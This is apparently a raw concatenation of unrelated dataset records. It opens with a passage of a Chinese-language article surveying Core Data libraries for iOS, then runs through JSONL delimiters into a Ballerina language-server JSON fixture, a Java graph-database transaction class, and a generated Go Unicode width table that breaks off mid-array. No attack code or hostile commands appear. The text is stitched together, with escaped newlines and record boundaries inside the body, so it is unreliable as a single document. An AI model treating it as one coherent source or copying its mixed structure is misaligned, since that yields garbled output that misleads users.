    ios-queryableMarty Dill
    ReactiveCoreDataJacob Gorban
    Adapters
    RestKitBlake Watters
    AFIncrementalStoreMattt Thompson
    MMRecordConrad Stoll
    SLRESTfulCoreDataOliver Letterer
    OvercoatGuillermo Gonzalez
    MantleGitHub
    Synchronizers
    TICoreDataSyncTim Isted, Michael Fey, Kevin Hoctor, Christian Beer, Tony Arnold, and Danny Greg
    UbiquityStoreManagerMaarten Billemont
    Utilities
    mogeneratorJonathan 'Wolf' Rentzsch
    \n\n## Wrappers\n\nWrapper 库为 Core Data 繁琐复杂的接口提供一些必要的语法糖和便利方法。\n\n例如,为了在一个 managed object context 中插入新的 managed object,这是`NSEntityDescription`中(而不是如人们可能预期的`NSManagedObject`或`NSManagedObjectContext`)的一个类方法。`NSEntityDescription +insertNewObjectForEntityForName:inManagedObjectContext:`。神马?\n\n有许多开源库为 Core Data 接口最艰难的部分一起识别和纠正。在`AppDelegate`外部管理主要和私有的 context,便于操作和查询 managed objects 的方法。\n\n#### [SSDataKit](https://github.com/soffes/SSDataKit)\n\n> 有许多引用代码需要编写一个 Core Data 应用。这很令人不爽。自从 iOS 有了 Core Data,几乎所有我编写的应用都用到了下面的类。\n\n### 来自[Active Record](http://api.rubyonrails.org/classes/ActiveRecord/Base.html)的启发\n\n学习了一种做事方式后将这些想法和习惯用于其他技术这件事对于程序员们来说应该是不足为奇的。一大波熟悉范式[Active Record](http://api.rubyonrails.org/classes/ActiveRecord/Base.html)的 Ruby 开发者涌入 iOS 行列。\n\n与主流看法相反,Core Data _不是_ 一个[Object-Relational Mappers](https://en.wikipedia.org/wiki/Object-relational_mapping),而是一个对象图和持久性框架,它的能力远超于单独的[Active Record 模式](https://en.wikipedia.org/wiki/Active_record_pattern)。使用 Core Data 作为 ORM(对象关系映射)必然限制 Core Data 功能并混淆其概念的纯粹。但对于许多渴望熟悉 ORM 的开发者,这个交易的代价是双倍的!\n\n#### [Magical Record](https://github.com/magicalpanda/MagicalRecord)\n\n> MagicalRecord 的灵感来自于 Ruby on Rails 的 Active Record 轻松抓取。该代码是为了清理 Core Data 的相关代码,允许简单明了的一行抓取,当需要请求优化时还允许修改`NSFetchRequest`。\n\n#### [Objective-Record](https://github.com/mneorr/Objective-Record)\n\n> 这是管理 Core Data 对象的轻量级 ActiveRecord 方式。\n> 该语法借助于 Ruby on Rails。\n> 没有 AppDelegate 代码。\n> 经过[Kiwi](https://github.com/allending/Kiwi)的完整测试。\n\n### 来自[LINQ](https://en.wikipedia.org/wiki/Language_Integrated_Query)的启发\n\n这儿有个有趣的游戏:下次你遇到来自.NET 界的开发者,设置一个定时器看看他们夸赞[LINQ](https://en.wikipedia.org/wiki/Language_Integrated_Query)用了多长时间。说真的,LINQ 是 _真爱_ 。\n\n对外行来说,LINQ 就像是[SQL](https://en.wikipedia.org/wiki/SQL),但整合成了一种语言特性。想想`NSPredicate`,[`NSSortDescriptor`](https://nshipster.com/nssortdescriptor/),和[`Key-Value Coding`](https://nshipster.com/kvc-collection-operators/)都有更棒的语法:\n\n```\nfrom c in SomeCollection\n where c.SomeProperty < 10\n select new {c.SomeProperty, c.OtherProperty};\n```\n\n#### [ios-queryable](https://github.com/martydill/ios-queryable)\n\n> ios-queryable 支持 LINQ-风格组合查询和延迟执行,并实现了 IEnumerable 方法的一个子集,包括`where`,`take`,`skip`,`orderBy`,`first/firstOrDefault`,`single/singleOrDefault`,`count`,`any`和`all`。\n\n### 来自[ReactiveCocoa](https://github.com/ReactiveCocoa)的启发\n\nReactiveCocoa [为 Objective-C 带来了函数式反应型范例](https://nshipster.com/reactivecocoa/), 它现在正为 Core Data 带来一些函数式的稳健性和条理性。这仍是个未知的领域,但最初的结果是的确是有希望的。\n\n#### [ReactiveCoreData](https://github.com/apparentsoft/ReactiveCoreData)\n\n> ReactiveCoreData (RCD)试图将 Core Data 带入 ReactiveCocoa (RAC)的世界。\n\n## Adapters\n\n大多数 iOS 应用与网络服务通信。对于使用 Core Data 的应用,从 REST 或 RPC-风格的网络服务获取、更新、删除记录是很常见的。保持本地缓存和服务器之间的一致性是一件看似棘手的事情。\n\n保持对象更新,删除重复的记录,将实体映射到接口端点,协调冲突,管理网络可通性...这些只是一个开发者创建稳健的客户端-服务器应用时面对的部分挑战。\n\n幸运的是,有大量的开源库可以减轻部分烦恼。\n\n#### [RestKit](https://github.com/RestKit/RestKit)\n\n> RestKit 是一个现代化的 Objective-C 框架用于在 iOS 和 OS X 上实现 RESTful 网络服务客户端。它提供一种强大的[对象映射](https://github.com/RestKit/RestKit/wiki/Object-mapping)引擎与[Core Data](https://developer.apple.com/library/mac/#documentation/cocoa/Conceptual/CoreData/cdProgrammingGuide.html)无缝集成,并为建立在[AFNetworking](https://github.com/AFNetworking/AFNetworking)之上的映射 HTTP 请求和响应提供了一组简单的网络层原语。它有一套精心设计的接口,使得访问和建模 RESTful 资源几乎有种不可思议的感觉。\n\n#### [AFIncrementalStore](https://github.com/AFNetworking/AFIncrementalStore)\n\n> AFIncrementalStore 是 NSIncrementalStore 的子类,它使用 AFNetworking 自动请求资源作为必要的属性和联系。\n\n#### [MMRecord](https://github.com/mutualmobile/MMRecord)\n\n> MMRecord 是用于 iOS 和 OS X 的基于 block 的无缝网络服务集成库。它利用 Core Data 模型配置从接口响应自动创建和填充一个完整的对象图。MMRecord 适用于任何网络库,设置简单,包含了许多流行特性使得网络服务的使用更加容易。\n\n#### [SLRESTfulCoreData](https://github.com/OliverLetterer/SLRESTfulCoreData)\n\n> `SLRESTfulCoreData`建于[AFNetworking](https://github.com/AFNetworking/AFNetworking)和[SLCoreDataStack](https://github.com/OliverLetterer/SLCoreDataStack) 之上,使你在几分钟内就能映射 JSON REST API 到你的 CoreData 模型。\n\n#### [Overcoat](https://github.com/gonzalezreal/Overcoat)\n\n> Overcoat 是一个[AFNetworking](https://github.com/AFNetworking/AFNetworking)扩展,它让开发者使用 REST 客户端的 Mantle 模型对象变得超级简单。\n\n#### [Mantle](https://github.com/github/Mantle)\n\n> Mantle 简化了编写简单的 Cocoa 或 Cocoa Touch 应用模型层。\n\n## Synchronizers\n\n鉴于适配器通过现有的、通用接口(如,REST)同步信息,同步装置以可移植性和通用性为代价,使用更加直接的协议提供更好的集成和性能。\n\n### [TICoreDataSync](https://github.com/nothirst/TICoreDataSync)\n\n> 自动同步 Core Data 应用,在 OS X 和 iOS 之间任意组合:从 Mac 到 iPhone 或 iPad 或 iPod touch,以及从 iPhone 或 iPad 或 iPod touch 到 Mac。\n\n#### [UbiquityStoreManager](https://github.com/lhunath/UbiquityStoreManager)\n\n> UbiquityStoreManager 控制器实现了 iCloud 与 Core Data 的集成。\n\n## Utilities\n\n在未提及 Mogenerator 时我们会疏忽对开源 Core Data 生态系统的反馈。在前 iPhone 时代幸存下来的项目中,Mogenerator 已成为这些年来开发者不可或缺的工具。这些年来,虽然 Core Data 改变了很多,但是这一常量已经成为 Apple 综合工具的典型不足。幸运的是,有 Mr. Wolf Rentzsch 罩着我们。\n\n#### [Mogenerator](https://github.com/rentzsch/mogenerator)\n\n> `mogenerator`是命令行工具,创建一个`.xcdatamodel` 文件,并创建*两个类(每个实体中)*。第一个类`_MyEntity`是单独为机器准备的,它将不断重写保持与数据模型的同步。第二个类`MyEntity`,是`_MyEntity`的子类,它将不会被重写,是个存放自定义逻辑的好地方。\n\n---\n\n记住:这儿没有包治百病的良药,也没有放之四海皆准的解答。就像 Core Data 可能只是在特定情况下建议使用,前面提到的 Core Data 库也是如此。\n\n即使只为了帮助每个库确定相对优势和对比权衡,把生态系统分成大类也是有益的。只有你自己知道(当然,有时候需要通过试错)哪种方法是最适合自己的。\n"} +{"text": "\n\n\n"} +{"text": "{\n \"source\": {\n \"file\": \"defFl27.bal\"\n },\n \"position\": {\n \"line\": 112,\n \"character\": 24\n },\n \"result\": [\n {\n \"uri\": \"defFl27.bal\",\n \"range\": {\n \"start\": {\n \"line\": 106,\n \"character\": 8\n },\n \"end\": {\n \"line\": 106,\n \"character\": 17\n }\n }\n }\n ]\n}\n"} +{"text": "/**\n * Copyright 2004 - 2016 Syncleus, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.gentics.madl.tx;\n\nimport com.syncleus.ferma.FramedTransactionalGraph;\n\n/**\n * An abstract class that can be used to implement vendor specific graph database Tx classes.\n */\npublic abstract class AbstractTx implements Tx {\n\n\t/**\n\t * Graph that is active within the scope of the autoclosable.\n\t */\n\tprivate T currentGraph;\n\n\tprivate boolean isSuccess = false;\n\n\t/**\n\t * Initialize the transaction.\n\t * \n\t * @param transactionalGraph\n\t */\n\tprotected void init(T transactionalGraph) {\n\t\t// 1. Set the new transactional graph so that it can be accessed via Tx.getGraph()\n\t\tsetGraph(transactionalGraph);\n\t\t// Handle graph multithreading issues by storing the old graph instance that was found in the threadlocal in a field.\n\t\t// Overwrite the current active threadlocal graph with the given transactional graph. This way Ferma graph elements will utilize this instance.\n\t\tTx.setActive(this);\n\t}\n\n\t@Override\n\tpublic void success() {\n\t\tisSuccess = true;\n\t}\n\n\t@Override\n\tpublic void failure() {\n\t\tisSuccess = false;\n\t}\n\n\t/**\n\t * Return the state of the success status flag.\n\t * \n\t * @return\n\t */\n\tprotected boolean isSuccess() {\n\t\treturn isSuccess;\n\t}\n\n\t@Override\n\tpublic void close() {\n\t\tTx.setActive(null);\n\t\tif (isSuccess()) {\n\t\t\tcommit();\n\t\t} else {\n\t\t\trollback();\n\t\t}\n\t\t// Restore the old graph that was previously swapped with the current graph\n\t\tgetGraph().close();\n\t\tgetGraph().shutdown();\n\t}\n\n\t/**\n\t * Invoke a commit on the database of this transaction.\n\t */\n\tpublic void commit() {\n\t\tif (getGraph() instanceof FramedTransactionalGraph) {\n\t\t\t((FramedTransactionalGraph) getGraph()).commit();\n\t\t}\n\t}\n\n\t/**\n\t * Invoke a rollback on the database of this transaction.\n\t */\n\tpublic void rollback() {\n\t\tif (getGraph() instanceof FramedTransactionalGraph) {\n\t\t\t((FramedTransactionalGraph) getGraph()).rollback();\n\t\t}\n\t}\n\n\t/**\n\t * Return the internal graph reference.\n\t */\n\tpublic FramedTransactionalGraph getGraph() {\n\t\treturn currentGraph;\n\t}\n\n\t/**\n\t * Set the internal graph reference.\n\t *\n\t * @param currentGraph\n\t */\n\tprotected void setGraph(T currentGraph) {\n\t\tthis.currentGraph = currentGraph;\n\t}\n\n}\n"} +{"text": "// Code generated by running \"go generate\" in golang.org/x/text. DO NOT EDIT.\n\n// +build !go1.10\n\npackage width\n\n// UnicodeVersion is the Unicode version from which the tables in this package are derived.\nconst UnicodeVersion = \"9.0.0\"\n\n// lookup returns the trie value for the first UTF-8 encoding in s and\n// the width in bytes of this encoding. The size will be 0 if s does not\n// hold enough bytes to complete the encoding. len(s) must be greater than 0.\nfunc (t *widthTrie) lookup(s []byte) (v uint16, sz int) {\n\tc0 := s[0]\n\tswitch {\n\tcase c0 < 0x80: // is ASCII\n\t\treturn widthValues[c0], 1\n\tcase c0 < 0xC2:\n\t\treturn 0, 1 // Illegal UTF-8: not a starter, not ASCII.\n\tcase c0 < 0xE0: // 2-byte UTF-8\n\t\tif len(s) < 2 {\n\t\t\treturn 0, 0\n\t\t}\n\t\ti := widthIndex[c0]\n\t\tc1 := s[1]\n\t\tif c1 < 0x80 || 0xC0 <= c1 {\n\t\t\treturn 0, 1 // Illegal UTF-8: not a continuation byte.\n\t\t}\n\t\treturn t.lookupValue(uint32(i), c1), 2\n\tcase c0 < 0xF0: // 3-byte UTF-8\n\t\tif len(s) < 3 {\n\t\t\treturn 0, 0\n\t\t}\n\t\ti := widthIndex[c0]\n\t\tc1 := s[1]\n\t\tif c1 < 0x80 || 0xC0 <= c1 {\n\t\t\treturn 0, 1 // Illegal UTF-8: not a continuation byte.\n\t\t}\n\t\to := uint32(i)<<6 + uint32(c1)\n\t\ti = widthIndex[o]\n\t\tc2 := s[2]\n\t\tif c2 < 0x80 || 0xC0 <= c2 {\n\t\t\treturn 0, 2 // Illegal UTF-8: not a continuation byte.\n\t\t}\n\t\treturn t.lookupValue(uint32(i), c2), 3\n\tcase c0 < 0xF8: // 4-byte UTF-8\n\t\tif len(s) < 4 {\n\t\t\treturn 0, 0\n\t\t}\n\t\ti := widthIndex[c0]\n\t\tc1 := s[1]\n\t\tif c1 < 0x80 || 0xC0 <= c1 {\n\t\t\treturn 0, 1 // Illegal UTF-8: not a continuation byte.\n\t\t}\n\t\to := uint32(i)<<6 + uint32(c1)\n\t\ti = widthIndex[o]\n\t\tc2 := s[2]\n\t\tif c2 < 0x80 || 0xC0 <= c2 {\n\t\t\treturn 0, 2 // Illegal UTF-8: not a continuation byte.\n\t\t}\n\t\to = uint32(i)<<6 + uint32(c2)\n\t\ti = widthIndex[o]\n\t\tc3 := s[3]\n\t\tif c3 < 0x80 || 0xC0 <= c3 {\n\t\t\treturn 0, 3 // Illegal UTF-8: not a continuation byte.\n\t\t}\n\t\treturn t.lookupValue(uint32(i), c3), 4\n\t}\n\t// Illegal rune\n\treturn 0, 1\n}\n\n// lookupUnsafe returns the trie value for the first UTF-8 encoding in s.\n// s must start with a full and valid UTF-8 encoded rune.\nfunc (t *widthTrie) lookupUnsafe(s []byte) uint16 {\n\tc0 := s[0]\n\tif c0 < 0x80 { // is ASCII\n\t\treturn widthValues[c0]\n\t}\n\ti := widthIndex[c0]\n\tif c0 < 0xE0 { // 2-byte UTF-8\n\t\treturn t.lookupValue(uint32(i), s[1])\n\t}\n\ti = widthIndex[uint32(i)<<6+uint32(s[1])]\n\tif c0 < 0xF0 { // 3-byte UTF-8\n\t\treturn t.lookupValue(uint32(i), s[2])\n\t}\n\ti = widthIndex[uint32(i)<<6+uint32(s[2])]\n\tif c0 < 0xF8 { // 4-byte UTF-8\n\t\treturn t.lookupValue(uint32(i), s[3])\n\t}\n\treturn 0\n}\n\n// lookupString returns the trie value for the first UTF-8 encoding in s and\n// the width in bytes of this encoding. The size will be 0 if s does not\n// hold enough bytes to complete the encoding. len(s) must be greater than 0.\nfunc (t *widthTrie) lookupString(s string) (v uint16, sz int) {\n\tc0 := s[0]\n\tswitch {\n\tcase c0 < 0x80: // is ASCII\n\t\treturn widthValues[c0], 1\n\tcase c0 < 0xC2:\n\t\treturn 0, 1 // Illegal UTF-8: not a starter, not ASCII.\n\tcase c0 < 0xE0: // 2-byte UTF-8\n\t\tif len(s) < 2 {\n\t\t\treturn 0, 0\n\t\t}\n\t\ti := widthIndex[c0]\n\t\tc1 := s[1]\n\t\tif c1 < 0x80 || 0xC0 <= c1 {\n\t\t\treturn 0, 1 // Illegal UTF-8: not a continuation byte.\n\t\t}\n\t\treturn t.lookupValue(uint32(i), c1), 2\n\tcase c0 < 0xF0: // 3-byte UTF-8\n\t\tif len(s) < 3 {\n\t\t\treturn 0, 0\n\t\t}\n\t\ti := widthIndex[c0]\n\t\tc1 := s[1]\n\t\tif c1 < 0x80 || 0xC0 <= c1 {\n\t\t\treturn 0, 1 // Illegal UTF-8: not a continuation byte.\n\t\t}\n\t\to := uint32(i)<<6 + uint32(c1)\n\t\ti = widthIndex[o]\n\t\tc2 := s[2]\n\t\tif c2 < 0x80 || 0xC0 <= c2 {\n\t\t\treturn 0, 2 // Illegal UTF-8: not a continuation byte.\n\t\t}\n\t\treturn t.lookupValue(uint32(i), c2), 3\n\tcase c0 < 0xF8: // 4-byte UTF-8\n\t\tif len(s) < 4 {\n\t\t\treturn 0, 0\n\t\t}\n\t\ti := widthIndex[c0]\n\t\tc1 := s[1]\n\t\tif c1 < 0x80 || 0xC0 <= c1 {\n\t\t\treturn 0, 1 // Illegal UTF-8: not a continuation byte.\n\t\t}\n\t\to := uint32(i)<<6 + uint32(c1)\n\t\ti = widthIndex[o]\n\t\tc2 := s[2]\n\t\tif c2 < 0x80 || 0xC0 <= c2 {\n\t\t\treturn 0, 2 // Illegal UTF-8: not a continuation byte.\n\t\t}\n\t\to = uint32(i)<<6 + uint32(c2)\n\t\ti = widthIndex[o]\n\t\tc3 := s[3]\n\t\tif c3 < 0x80 || 0xC0 <= c3 {\n\t\t\treturn 0, 3 // Illegal UTF-8: not a continuation byte.\n\t\t}\n\t\treturn t.lookupValue(uint32(i), c3), 4\n\t}\n\t// Illegal rune\n\treturn 0, 1\n}\n\n// lookupStringUnsafe returns the trie value for the first UTF-8 encoding in s.\n// s must start with a full and valid UTF-8 encoded rune.\nfunc (t *widthTrie) lookupStringUnsafe(s string) uint16 {\n\tc0 := s[0]\n\tif c0 < 0x80 { // is ASCII\n\t\treturn widthValues[c0]\n\t}\n\ti := widthIndex[c0]\n\tif c0 < 0xE0 { // 2-byte UTF-8\n\t\treturn t.lookupValue(uint32(i), s[1])\n\t}\n\ti = widthIndex[uint32(i)<<6+uint32(s[1])]\n\tif c0 < 0xF0 { // 3-byte UTF-8\n\t\treturn t.lookupValue(uint32(i), s[2])\n\t}\n\ti = widthIndex[uint32(i)<<6+uint32(s[2])]\n\tif c0 < 0xF8 { // 4-byte UTF-8\n\t\treturn t.lookupValue(uint32(i), s[3])\n\t}\n\treturn 0\n}\n\n// widthTrie. Total size: 14080 bytes (13.75 KiB). Checksum: 3b8aeb3dc03667a3.\ntype widthTrie struct{}\n\nfunc newWidthTrie(i int) *widthTrie {\n\treturn &widthTrie{}\n}\n\n// lookupValue determines the type of block n and looks up the value for b.\nfunc (t *widthTrie) lookupValue(n uint32, b byte) uint16 {\n\tswitch {\n\tdefault:\n\t\treturn uint16(widthValues[n<<6+uint32(b)])\n\t}\n}\n\n// widthValues: 99 blocks, 6336 entries, 12672 bytes\n// The third block is the zero block.\nvar widthValues = [6336]uint16{\n\t// Block 0x0, offset 0x0\n\t0x20: 0x6001, 0x21: 0x6002, 0x22: 0x6002, 0x23: 0x6002,\n\t0x24: 0x6002, 0x25: 0x6002, 0x26: 0x6002, 0x27: 0x6002, 0x28: 0x6002, 0x29: 0x6002,\n\t0x2a: 0x6002, 0x2b: 0x6002, 0x2c: 0x6002, 0x2d: 0x6002, 0x2e: 0x6002, 0x2f: 0x6002,\n\t0x30: 0x6002, 0x31: 0x6002, 0x32: 0x6002, 0x33: 0x6002, 0x34: 0x6002, 0x35: 0x6002,\n\t0x36: 0x6002, 0x37: 0x6002, 0x38: 0x6002, 0x39: 0x6002, 0x3a: 0x6002, 0x3b: 0x6002,\n\t0x3c: 0x6002, 0x3d: 0x6002, 0x3e: 0x6002, 0x3f: 0x6002,\n\t// Block 0x1, offset 0x40\n\t0x40: 0x6003, 0x41: 0x6003, 0x42: 0x6003, 0x43: 0x6003, 0x44: 0x6003, 0x45: 0x6003,\n\t0x46: 0x6003, 0x47: 0x6003, 0x48: 0x6003, 0x49: 0x6003, 0x4a: 0x6003, 0x4b: 0x6003,\n\t0x4c: 0x6003, 0x4d: 0x6003, 0x4e: 0x6003, 0x4f: 0x6003, 0x50: 0x6003, 0x51: 0x6003,\n\t0x52: 0x6003, 0x53: 0x6003, 0x54: 0x6003, 0x55: 0x6003, 0x56: 0x6003, 0x57: 0x6003,\n\t0x58: 0x6003, 0x59: 0x6003, 0x5a: 0x6003, 0x5b: 0x6003, 0x5c: 0x6003, 0x5d: 0x6003,\n\t0x5e: 0x6003, 0x5f: 0x6003, 0x60: 0x6004, 0x61: 0x6004, 0x62: 0x6004, 0x63: 0x6004,\n\t0x64: 0x6004, 0x65: 0x6004, 0x66: 0x6004, 0x67: 0x6004, 0x68: 0x6004, 0x69: 0x6004,\n\t0x6a: 0x6004, 0x6b: 0x6004, 0x6c: 0x6004, 0x6d: 0x6004, 0x6e: 0x6004, 0x6f: 0x6004,\n\t0x70: 0x6004, 0x71: 0x6004, 0x72: 0x6004, 0x73: 0x6004, 0x74: 0x6004, 0x75: 0x6004,\n\t0x76: 0x6004, 0x77: 0x6004, 0x78: 0x6004, 0x79: 0x6004, 0x7a: 0x6004, 0x7b: 0x6004,\n\t0x7c: 0x6004, 0x7d: 0x6004, 0x7e: 0x6004,\n\t// Block 0x2, offset 0x80\n\t// Block 0x3, offset 0xc0\n\t0xe1: 0x2000, 0xe2: 0x6005, 0xe3: 0x6005,\n\t0xe4: 0x2000, 0xe5: 0x6006, 0xe6: 0x6005, 0xe7: 0x2000, 0xe8: 0x2000,\n\t0xea: 0x2000, 0xec: 0x6007, 0xed: 0x2000, 0xee: 0x2000, 0xef: 0x6008,\n\t0xf0: 0x2000, 0xf1: 0x2000, 0xf2: 0x2000, 0xf3: 0x2000, 0xf4: 0x2000,\n\t0xf6: 0x2000, 0xf7: 0x2000, 0xf8: 0x2000, 0xf9: 0x2000, 0xfa: 0x2000,\n\t0xfc: 0x2000, 0xfd: 0x2000, 0xfe: 0x2000, 0xff: 0x2000,\n\t// Block 0x4, offset 0x100\n\t0x106: 0x2000,\n\t0x110: 0x2000,\n\t0x117: 0x2000,\n\t0x118: 0x2000,\n\t0x11e: 0x2000, 0x11f: 0x2000, 0x120: 0x2000, 0x121: 0x2000,\n\t0x126: 0x2000, 0x128: 0x2000, 0x129: 0x2000,\n\t0x12a: 0x2000, 0x12c: 0x2000, 0x12d: 0x2000,\n\t0x130: 0x2000, 0x132: 0x2000, 0x133: 0x2000,\n\t0x137: 0x2000, 0x138: 0x2000, 0x139: 0x2000, 0x13a: 0x2000,\n\t0x13c: 0x2000, 0x13e: 0x2000,\n\t// Block 0x5, offset 0x140\n\t0x141: 0x2000,\n\t0x151: 0x2000,\n\t0x153: 0x2000,\n\t0x15b: 0x2000,\n\t0x166: 0x2000, 0x167: 0x2000,\n\t0x16b: 0x2000,\n\t0x171: 0x2000, 0x172: 0x2000, 0x173: 0x2000,\n\t0x178: 0x2000,\n\t0x17f: 0x2000,\n\t// Block 0x6, offset 0x180\n\t0x180: 0x2000, 0x181: 0x2000, 0x182: 0x2000, 0x184: 0x2000,\n\t0x188: 0x2000, 0x189: 0x2000, 0x18a: 0x2000, 0x18b: 0x2000,\n\t0x18d: 0x2000,\n\t0x192: 0x2000, 0x193: 0x2000,\n\t0x1a6: 0x2000, 0x1a7: 0x2000,\n\t0x1ab: 0x2000,\n\t// Block 0x7, offset 0x1c0\n\t0x1ce: 0x2000, 0x1d0: 0x2000,\n\t0x1d2: 0x2000, 0x1d4: 0x2000, 0x1d6: 0x2000,\n\t0x1d8: 0x2000, 0x1da: 0x2000, 0x1dc: 0x2000,\n\t// Block 0x8, offset 0x200\n\t0x211: 0x2000,\n\t0x221: 0x2000,\n\t// Block 0x9, offset 0x240\n\t0x244: 0x2000,\n\t0x247: 0x2000, 0x249: 0x2000, 0x24a: 0x2000, 0x24b: 0x2000,\n\t0x24d: 0x2000, 0x250: 0x2000,\n\t0x258: 0x2000, 0x259: 0x2000, 0x25a: 0x2000, 0x25b: 0x2000, 0x25d: 0x2000,\n\t0x25f: 0x2000,\n\t// Block 0xa, offset 0x280\n\t0x280: 0x2000, 0x281: 0x2000, 0x282: 0x2000, 0x283: 0x2000, 0x284: 0x2000, 0x285: 0x2000,\n\t0x286: 0x2000, 0x287: 0x2000, 0x288: 0x2000, 0x289: 0x2000, 0x28a: 0x2000, 0x28b: 0x2000,\n\t0x28c: 0x2000, 0x28d: 0x2000, 0x28e: 0x2000, 0x28f: 0x2000, 0x290: 0x2000, 0x291: 0x2000,\n\t0x292: 0x2000, 0x293: 0x2000, 0x294: 0x2000, 0x295: 0x2000, 0x296: 0x2000, 0x297: 0x2000,\n\t0x298: 0x2000, 0x299: 0x2000, 0x29a: 0x2000, 0x29b: 0x2000, 0x29c: 0x2000, 0x29d: 0x2000,\n\t0x29e: 0x2000, 0x29f: 0x2000, 0x2a0: 0x2000, 0x2a1: 0x2000, 0x2a2: 0x2000, 0x2a3: 0x2000,\n\t0x2a4: 0x2000, 0x2a5: 0x2000, 0x2a6: 0x2000, 0x2a7: 0x2000, 0x2a8: 0x2000, 0x2a9: 0x2000,\n\t0x2aa: 0x2000, 0x2ab: 0x2000, 0x2ac: 0x2000, 0x2ad: 0x2000, 0x2ae: 0x2000, 0x2af: 0x2000,\n\t0x2b0: 0x2000, 0x2b1: 0x2000, 0x2b2: 0x2000, 0x2b3: 0x2000, 0x2b4: 0x2000, 0x2b5: 0x2000,\n\t0x2b6: 0x2000, 0x2b7: 0x2000, 0x2b8: 0x2000, 0x2b9: 0x2000, 0x2ba: 0x2000, 0x2bb: 0x2000,\n\t0x2bc: 0x2000, 0x2bd: 0x2000, 0x2be: 0x2000, 0x2bf: 0x2000,\n\t// Block 0xb, offset 0x2c0\n\t0x2c0: 0x2000, 0x2c1: 0x2000, 0x2c2: 0x2000, 0x2c3: 0x2000, 0x2c4: 0x2000, 0x2c5: 0x2000,\n\t0x2c6: 0x2000, 0x2c7: 0x2000, 0x2c8: 0x2000, 0x2c9: 0x2000, 0x2ca: 0x2000, 0x2cb: 0x2000,\n\t0x2cc: 0x2000, 0x2cd: 0x2000, 0x2ce: 0x2000, 0x2cf: 0x2000, 0x2d0: 0x2000, 0x2d1: 0x2000,\n\t0x2d2: 0x2000, 0x2d3: 0x2000, 0x2d4: 0x2000, 0x2d5: 0x2000, 0x2d6: 0x2000, 0x2d7: 0x2000,\n\t0x2d8: 0x2000, 0x2d9: 0x2000, 0x2da: 0x2000, 0x2db: 0x2000, 0x2dc: 0x2000, 0x2dd: 0x2000,\n\t0x2de: 0x2000, 0x2df: 0x2000, 0x2e0: 0x2000, 0x2e1: 0x2000, 0x2e2: 0x2000, 0x2e3: 0x2000,\n\t0x2e4: 0x2000, 0x2e5: 0x2000, 0x2e6: 0x2000, 0x2e7: 0x2000, 0x2e8: 0x2000, 0x2e9: 0x2000,\n\t0x2ea: 0x2000, 0x2eb: 0x2000, 0x2ec: 0x2000, 0x2ed: 0x2000, 0x2ee: 0x2000, 0x2ef: 0x2000,\n\t// Block 0xc, offset 0x300\n\t0x311: 0x2000,\n\t0x312: 0x2000, 0x313: 0x2000, 0x314: 0x2000, 0x315: 0x2000, 0x316: 0x2000, 0x317: 0x2000,\n\t0x318: 0x2000, 0x319: 0x2000, 0x31a: 0x2000, 0x31b: 0x2000, 0x31c: 0x2000, 0x31d: 0x2000,\n\t0x31e: 0x2000, 0x31f: 0x2000, 0x320: 0x2000, 0x321: 0x2000, 0x323: 0x2000,\n\t0x324: 0x2000, 0x325: 0x2000, 0x326: 0x2000, 0x327: 0x2000, 0x328: 0x2000, 0x329: 0x2000,\n\t0x331: 0x2000, 0x332: 0x2000, 0x333: 0x2000, 0x334: 0x2000, 0x335: 0x2000,\n\t0x336: 0x2000, 0x337: 0x2000, 0x338: 0x2000, 0x339: 0x2000, 0x33a: 0x2000, 0x33b: 0x2000,\n\t0x33c: 0x2000, 0x33d: 0x2000, 0x33e: 0x2000, 0x33f: 0x2000,\n\t// Block 0xd, offset 0x340\n\t0x340: 0x2000, 0x341: 0x2000, 0x343: 0x2000, 0x344: 0x2000, 0x345: 0x2000,\n\t0x346: 0x2000, 0x347: 0x2000, 0x348: 0x2000, 0x349: 0x2000,\n\t// Block 0xe, offset 0x380\n\t0x381: 0x2000,\n\t0x390: 0x2000, 0x391: 0x2000,\n\t0x392: 0x2000, 0x393: 0x2000, 0x394: 0x2000, 0x395: 0x2000, 0x396: 0x2000, 0x397: 0x2000,\n\t0x398: 0x2000, 0x399: 0x2000, 0x39a: 0x2000, 0x39b: 0x2000, 0x39c: 0x2000, 0x39d: 0x2000,\n\t0x39e: 0x2000, 0x39f: 0x2000, 0x3a0: 0x2000, 0x3a1: 0x2000, 0x3a2: 0x2000, 0x3a3: 0x2000,\n\t0x3a4: 0x2000, 0x3a5: 0x2000, 0x3a6: 0x2000, 0x3a7: 0x2000, 0x3a8: 0x2000, 0x3a9: 0x2000,\n\t0x3aa: 0x2000, 0x3ab: 0x2000, 0x3ac: 0x2000, 0x3ad: 0x2000, 0x3ae: 0x2000, 0x3af: 0x2000,\n\t0x3b0: 0x2000, 0x3b1: 0x2000, 0x3b2: 0x2000, 0x3b3: 0x2000, 0x3b4: 0x2000, 0x3b5: 0x2000,\n\t0x3b6: 0x2000, 0x3b7: 0x2000, 0x3b8: 0x2000, 0x3b9: 0x2000, 0x3ba: 0x2000, 0x3bb: 0x2000,\n\t0x3bc: 0x2000, 0x3bd: 0x2000, 0x3be: 0x2000, 0x3bf: 0x2000,\n\t// Block 0xf, offset 0x3c0\n\t0x3c0: 0x2000, 0x3c1: 0x2000, 0x3c2: 0x2000, 0x3c3: 0x2000, 0x3c4: 0x2000, 0x3c5: 0x2000,\n\t0x3c6: 0x2000, 0x3c7: 0x2000, 0x3c8: 0x2000, 0x3c9: 0x2000, 0x3ca: 0x2000, 0x3cb: 0x2000,\n\t0x3cc: 0x2000, 0x3cd: 0x2000, 0x3ce: 0x2000, 0x3cf: 0x2000, 0x3d1: 0x2000,\n\t// Block 0x10, offset 0x400\n\t0x400: 0x4000, 0x401: 0x4000, 0x402: 0x4000, 0x403: 0x4000, 0x404: 0x4000, 0x405: 0x4000,\n\t0x406: 0x4000, 0x407: 0x4000, 0x408: 0x4000, 0x409: 0x4000, 0x40a: 0x4000, 0x40b: 0x4000,\n\t0x40c: 0x4000, 0x40d: 0x4000, 0x40e: 0x4000, 0x40f: 0x4000, 0x410: 0x4000, 0x411: 0x4000,\n\t0x412: 0x4000, 0x413: 0x4000, 0x414: 0x4000, 0x415: 0x4000, 0x416: 0x4000, 0x417: 0x4000,\n\t0x418: 0x4000, 0x419: 0x4000, 